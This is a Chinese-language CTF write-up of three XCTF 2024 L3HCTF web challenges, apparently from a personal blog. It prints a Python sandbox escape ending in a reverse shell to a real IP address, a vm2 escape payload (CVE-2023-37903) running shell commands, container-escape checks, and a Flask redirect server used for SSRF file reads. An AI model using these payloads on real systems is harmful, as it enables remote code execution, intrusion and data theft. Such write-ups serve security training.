xctf 2024- L3Hctf

xctf 2024- L3Hctf

前言

过年前打的,还一大早爬起来了,10点钟学弟还在睡觉,先做签到了

checkin

image-20240407213405270

intractable problem

给定一个长度大于1e1200的整数n,编写一个Python函数factorization(n: string) -> tuple[int],该函数的目标是将n分解为两个素数的乘积,并返回这两个素数的元组。如果存在多种分解方式,返回任意一种即可。如果无法分解为两个素数的乘积,返回一个空元组。同时,确保算法在5秒内运行完成。

后端只用这个做检验

696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863

正常都要搞个5组数据的,有问题这样

但试了一下,常规方法也是分解不了的,说明题目鼓励直接web攻击

def blackFunc(oldexit):
    def func(event, args):
        blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
        for i in blackList:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                oldexit(0)
    return func

code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)

本地wsl直接python web.py起个环境

结果各种报错

学弟给到了个思路

本地这样绕过检查,rce可以这样

def factorization(n: string) -> tuple[int]:
'''
os.system(\"bash -c 'bash -i >& /dev/tcp/8.129.42.140/3307 0>&1'\")
codes='''

构造一个exp就好 POST /judge

{"code":"def factorization(n: string) -> tuple[int]:\n'''\nos.system(\"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'\")\ncodes='''"}

image-20240407213836517

escape

VM2逃逸,以前vnctf2022和学弟搞过一个vm2逃逸的来着

CVE-2023-37903没修,全部通杀

https://github.com/patriksimek/vm2/issues/533

const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
p.call(a).constructor('return process')().mainModule.require('child_process').execSync('echo pwned >&2');

flag在容器外。 The flag sits outside of the container.

试了各种逃逸方法,记录一下过程:

https://wiki.teamssix.com/CloudNative/Docker/container-escape-check.html

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

非特权模式

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

没挂载socket

没挂载 procfs,没挂载宿主机根目录

Docker Remote API is Closed

返回存在长度限制

check脚本

https://github.com/teamssix/container-escape-check

cve2020-14286

uname -a
Linux 571f8e8209f7 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64 Linux

昨天开会给了我一个启发(thai给的,自豪叉腰,然并卵),该不会是cloudfare的云函数/云容器?

Access-Control-Allow-Methods: POST, OPTIONS

没有,不是的,但是思考能不能获取他的原IP

死胡同:P

image-20240407214105717

nmd被骗了,是6.1.0-1,mt背大锅!thai:难蚌了,被uname -r骗了

没有一点mount权限

busybox 1.36.1 它这个版本漏洞还是多的,pwn的洞

docker逃逸需要内核提权,我们已经vm逃逸了,得内核提权

知道它是Alpine Linux 3.19

是这个镜像,干净的很

最后瞎几把试

const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
p.call(a).constructor('return process')().mainModule.require('child_process').execSync('ln -s -f /flag /app/error.txt');

image-20240407214245967

但我其实很不理解

赛后和别人交流也是这个共识

image-20240407214404316

傻逼题是这样的

shorturl

jump是浏览器跳转,没卵用,估计是用来测试CacheMap里面有没有咱自定义的url地址的

猜测一个思路就是test访问private,可以绕127.0.0.1的限制

绕下?

image-20240407214441630

/test/?redirect=xxx

因为GPT4说

具体到 configurer.setUseTrailingSlashMatch(true); 这行代码,它配置了 Spring MVC 的路径匹配机制,使得框架在匹配 URL 路径时考虑到 URL 末尾的斜线(/)。

然后就是找到BaseUrl是example.com,在application.properties

http://1.95.4.251:57080/private/?url=http://www.example.com

not allowed,可以访问到private了

http://127.0.0.1:8080/private/?url=http://www.example.com

200状态码,但是没东西不科学

http://127.0.0.1:8080/private/?url=http://www.example.com/

这样有,6

然后跟着题目指引进了死胡同,这咋拿flag捏?

<http://127.0.0.1:8080/private/?%75%72%6c=http://www.example.com/>
编码一下也有

http://127.0.0.1:8080/jump?redirect=xxx&url=http://www.example.com/ 这样FileNotFound,奇怪

http://127.0.0.1:8080/?url=http://www.example.com/ 这样可以看到

注意到paramUrl==null也会fetch

http://127.0.0.1:8080/private/?url=&url=http://www.example.com/

但是这样其实url=="”,寄

能直接不传url然后fetch flag吗

擦,用ssrf+重定向 可以实现

既然服务器可以发出请求,直接请求自己的vps,重定向到private/?url=file:///flag

这样就绕过了example的限制(因为waf在test路由)

exp

from flask import Flask, redirect, url_for

app = Flask(__name__)

@app.route('/flag')
def flag():
    # 使用 Flask 的 redirect 函数重定向到指定的 URL
    return redirect('<http://127.0.0.1:8080/private/?url=file:///etc/passwd>')

if __name__ == '__main__':
    app.run(debug=True,port=3307,host="0.0.0.0")

请求https://www.viewofthai.link:3307/flag 拿到xxx

然后/test/?redirect=xxx

image-20240407215451021

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇